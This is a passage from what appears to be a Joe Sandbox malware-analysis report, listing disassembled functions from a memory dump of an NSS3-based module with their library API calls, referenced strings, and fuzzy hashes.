TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE92E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CE92E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CE92E9E
PR_Unlock.NSS3(?), ref: 6CE92EAB
PR_Unlock.NSS3(?), ref: 6CE92F0D

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 6f528ad6ad45153f696868b897ed9b2378861a25fc45e45ed12b8d929ae5a2bf
Instruction ID: ad2f2b275c304e7635edc4f6ffa3bd2b077bb4b4d343472f7387338eca6161e0
Opcode Fuzzy Hash: 6f528ad6ad45153f696868b897ed9b2378861a25fc45e45ed12b8d929ae5a2bf
Instruction Fuzzy Hash: 1431F6B5E005059BEF01AF28DC85976B774EF1625CB248178EC0897B11E731ED64C7D0

Function 6CEB1EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&l,6CE96295,?,00000000,?,00000001,S&l,?), ref: 6CEB1ECB

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

TlsGetValue.KERNEL32(?,00000001,?,S&l,6CE96295,?,00000000,?,00000001,S&l,?), ref: 6CEB1EF1
EnterCriticalSection.KERNEL32(?), ref: 6CEB1F01
PR_SetError.NSS3(00000000,00000000), ref: 6CEB1F39

Part of subcall function 6CEBFE20: TlsGetValue.KERNEL32(6CE95ADC,?,00000000,00000001,?,?,00000000,?,6CE8BA55,?,?), ref: 6CEBFE4B
Part of subcall function 6CEBFE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEBFE5F

PR_Unlock.NSS3(?), ref: 6CEB1F67

Strings

S&l, xrefs: 6CEB1EA0

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&l
API String ID: 704537481-539497627
Opcode ID: a62685bf3bc4540bc78e7d3a7574a011d115d9e68ec93a84b01048445f7977da
Instruction ID: eb2f4dc8b63b68c236ab784006448ed287b0ba086189a7dbecb6bebbb2a339c5
Opcode Fuzzy Hash: a62685bf3bc4540bc78e7d3a7574a011d115d9e68ec93a84b01048445f7977da
Instruction Fuzzy Hash: DE21E475E042049BEB00AFA9DD46BAA3779AF4137CF244124FD08A7B11E730E954C7E0

Function 6CEDCEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CEDCD93,?), ref: 6CEDCEEE

Part of subcall function 6CED14C0: TlsGetValue.KERNEL32 ref: 6CED14E0
Part of subcall function 6CED14C0: EnterCriticalSection.KERNEL32 ref: 6CED14F5
Part of subcall function 6CED14C0: PR_Unlock.NSS3 ref: 6CED150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CEDCD93,?), ref: 6CEDCEFC

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CEDCD93,?), ref: 6CEDCF0B

Part of subcall function 6CED0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CED08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CEDCD93,?), ref: 6CEDCF1D

Part of subcall function 6CECFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEC8D2D,?,00000000,?), ref: 6CECFB85
Part of subcall function 6CECFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CECFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CEDCD93,?), ref: 6CEDCF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CEDCD93,?), ref: 6CEDCF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CEDCD93,?,?,?,?,?,?,?,?,?,?,?,6CEDCD93,?), ref: 6CEDCF78

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 97482aa19bb1b4efb4cfc4477760d0e0b7f2097b5398b1d1990b5d1ddf374384
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 5D11E7B5F002005BE700AAA67D42BABB6FC9F5419DF25403DEC19D7741FB61E90A86B2

Function 6CE88C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE88C1B
EnterCriticalSection.KERNEL32 ref: 6CE88C34
PL_ArenaAllocate.NSS3 ref: 6CE88C65
PR_Unlock.NSS3 ref: 6CE88C9C
PR_Unlock.NSS3 ref: 6CE88CB6

Part of subcall function 6CF1DD70: TlsGetValue.KERNEL32 ref: 6CF1DD8C
Part of subcall function 6CF1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF1DDB4

Strings

KRAM, xrefs: 6CE88C8F

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 01a584841b86ee896e18acf12173e119d5d61d36154e1623d0176b6a87cbaaa0
Instruction ID: 939fda8840b271df03dad6a1c6bd913491d23f0bbc110164bf93ec0913177f01
Opcode Fuzzy Hash: 01a584841b86ee896e18acf12173e119d5d61d36154e1623d0176b6a87cbaaa0
Instruction Fuzzy Hash: E42171B1A166118FD700AF78C484659BBF4FF45308F25896ED8888B715DB35E886CB92

Function 6CE98E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CEB2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE84F1C), ref: 6CE98EA2

Part of subcall function 6CEBF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CEBF854
Part of subcall function 6CEBF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CEBF868
Part of subcall function 6CEBF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CEBF882
Part of subcall function 6CEBF820: free.MOZGLUE(04C483FF,?,?), ref: 6CEBF889
Part of subcall function 6CEBF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CEBF8A4
Part of subcall function 6CEBF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CEBF8AB
Part of subcall function 6CEBF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CEBF8C9
Part of subcall function 6CEBF820: free.MOZGLUE(280F10EC,?,?), ref: 6CEBF8D0

PK11_IsLoggedIn.NSS3(?,?,?,6CEB2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE84F1C), ref: 6CE98EC3
TlsGetValue.KERNEL32(?,?,?,6CEB2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE84F1C), ref: 6CE98EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CEB2E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CE98EF1
PR_Unlock.NSS3 ref: 6CE98F20

Strings

b.l, xrefs: 6CE98E96, 6CE98F25

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.l
API String ID: 1978757487-3749612370
Opcode ID: 2f6b126030737fcf3aa0a9ff2fab8a9cc86767663edf5acfd8c26769459f4e5b
Instruction ID: 8237863ee77cb77dd5ca9a33f4935329b43261274343defe22b2db9c80e3e0e4
Opcode Fuzzy Hash: 2f6b126030737fcf3aa0a9ff2fab8a9cc86767663edf5acfd8c26769459f4e5b
Instruction Fuzzy Hash: C7217A75A096059FCB10AF39D4882A9BBF0FF48318F11556EE8989BB51D734E854CBC2

Function 6CF03E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6CF05B40: PR_GetIdentitiesLayer.NSS3 ref: 6CF05B56

PR_EnterMonitor.NSS3(?), ref: 6CF03E45

Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390AB
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390C9
Part of subcall function 6CF39090: EnterCriticalSection.KERNEL32 ref: 6CF390E5
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF39116
Part of subcall function 6CF39090: LeaveCriticalSection.KERNEL32 ref: 6CF3913F

PR_EnterMonitor.NSS3(?), ref: 6CF03E5C
PR_EnterMonitor.NSS3(?), ref: 6CF03E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CF03EA6

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

PR_ExitMonitor.NSS3(?), ref: 6CF03EC0
PR_ExitMonitor.NSS3(?), ref: 6CF03ED7
PR_ExitMonitor.NSS3(?), ref: 6CF03EEE

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: ae9c846b75868be4b70f79709c4d720d64b238d62a5b970845b3295ef993062d
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 6411B7B1710610AFDB319E29FC12FC7B7A1DB40708F405934E65D87A20EA36E92DD782

Function 6CF82C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CF82CA0
PR_ExitMonitor.NSS3 ref: 6CF82CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CF82CD1
strdup.MOZGLUE(?), ref: 6CF82CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CF82D27

Strings

Loaded library %s (static lib), xrefs: 6CF82D22

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 96266414a25c1c7ef2d6d8d211be4488f27a07de6ea625b7ac92684007a7ea6f
Instruction ID: 68b3776c0ade38dd643725ccbf4291a54e0377192a35d9376d0394c0707a618b
Opcode Fuzzy Hash: 96266414a25c1c7ef2d6d8d211be4488f27a07de6ea625b7ac92684007a7ea6f
Instruction Fuzzy Hash: AA11C8B1B122109FEB558F25D8487667BB4EB4632DF14813DE809C7B41D732F908CBA1

Function 6CE7BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE7BDCA

Part of subcall function 6CED0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE787ED,00000800,6CE6EF74,00000000), ref: 6CED1000
Part of subcall function 6CED0FF0: PR_NewLock.NSS3(?,00000800,6CE6EF74,00000000), ref: 6CED1016
Part of subcall function 6CED0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE787ED,00000008,?,00000800,6CE6EF74,00000000), ref: 6CED102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE7BDDB

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE7BDEC

Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6CE7BE03

Part of subcall function 6CECFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEC8D2D,?,00000000,?), ref: 6CECFB85
Part of subcall function 6CECFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CECFBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE7BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE7BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE7BE3B

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: 94b7e28fe182666f65c4d7516f862966934017b81be323b78141b54c36875dc6
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: 66012BA5E4060567F62022A66C01F9B3668CF5129DF340034FE049AB82FB55E11AC2B6

Function 6CED0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE787ED,00000800,6CE6EF74,00000000), ref: 6CED1000
PR_NewLock.NSS3(?,00000800,6CE6EF74,00000000), ref: 6CED1016

Part of subcall function 6CF398D0: calloc.MOZGLUE(00000001,00000084,6CE60936,00000001,?,6CE6102C), ref: 6CF398E5

PL_InitArenaPool.NSS3(00000000,security,6CE787ED,00000008,?,00000800,6CE6EF74,00000000), ref: 6CED102B
TlsGetValue.KERNEL32(00000000,?,?,6CE787ED,00000800,6CE6EF74,00000000), ref: 6CED1044
free.MOZGLUE(00000000,?,00000800,6CE6EF74,00000000), ref: 6CED1064

Strings

security, xrefs: 6CED1025

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 29f3f110fd939e93953b7640f16aa773df2a877309988aa112ee91462a5f143f
Instruction ID: 7e1f11d4f6d95e55d4ac0dddec5e71244261370809520d1b5182eb2a11f1c157
Opcode Fuzzy Hash: 29f3f110fd939e93953b7640f16aa773df2a877309988aa112ee91462a5f143f
Instruction Fuzzy Hash: 74014830F502909BE7603FBD8C08B567A78BF43768F220119E80897A51EB61F207DBD1

Function 6CF01C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CF01C74

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

DeleteCriticalSection.KERNEL32(?), ref: 6CF01C92
free.MOZGLUE(?), ref: 6CF01C99
DeleteCriticalSection.KERNEL32(?), ref: 6CF01CCB
free.MOZGLUE(?), ref: 6CF01CD2

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: 57c2324134b3d725a84d1198942b147ad579381078c12f59d47e8ae5fd36f228
Instruction ID: bec50a7a9f4958a5810243562fea67fd2be471e9d406bfa9dc8c4374b764e05b
Opcode Fuzzy Hash: 57c2324134b3d725a84d1198942b147ad579381078c12f59d47e8ae5fd36f228
Instruction Fuzzy Hash: 110196B1F152215FDF64AFB49C0D78A77B4A70671CF104525E50AA3A40D726F50497D2

Function 6CF12E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF13046

Part of subcall function 6CEFEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEFEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6CEE7FFB), ref: 6CF1312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CF13154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CF12E8B

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

Part of subcall function 6CEFF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6CEE9BFF,?,00000000,00000000), ref: 6CEFF134

memcpy.VCRUNTIME140(8B3C75C0,?,6CEE7FFA), ref: 6CF12EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF1317B

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 253b75c6a76b557d6a4cb9eafc8d4d50a4064d0a9b9cbf7f08dfaf56515d289e
Instruction ID: 76e622ed71e3eba523c6d5829a7ea5b7e8a378c5ea7d7118fd8623632946446c
Opcode Fuzzy Hash: 253b75c6a76b557d6a4cb9eafc8d4d50a4064d0a9b9cbf7f08dfaf56515d289e
Instruction Fuzzy Hash: 76A1BF75A042189FDB24CF54CC80BEAB7B5EF49308F148199ED4967B41E731AE89CF91

Function 6CEDED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CEDED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CEDEDCE

Part of subcall function 6CED0BE0: malloc.MOZGLUE(6CEC8D2D,?,00000000,?), ref: 6CED0BF8
Part of subcall function 6CED0BE0: TlsGetValue.KERNEL32(6CEC8D2D,?,00000000,?), ref: 6CED0C15

free.MOZGLUE(00000000,?,?,?,?,6CEDB04F), ref: 6CEDEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEDEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CEDEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CEDEEFB

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
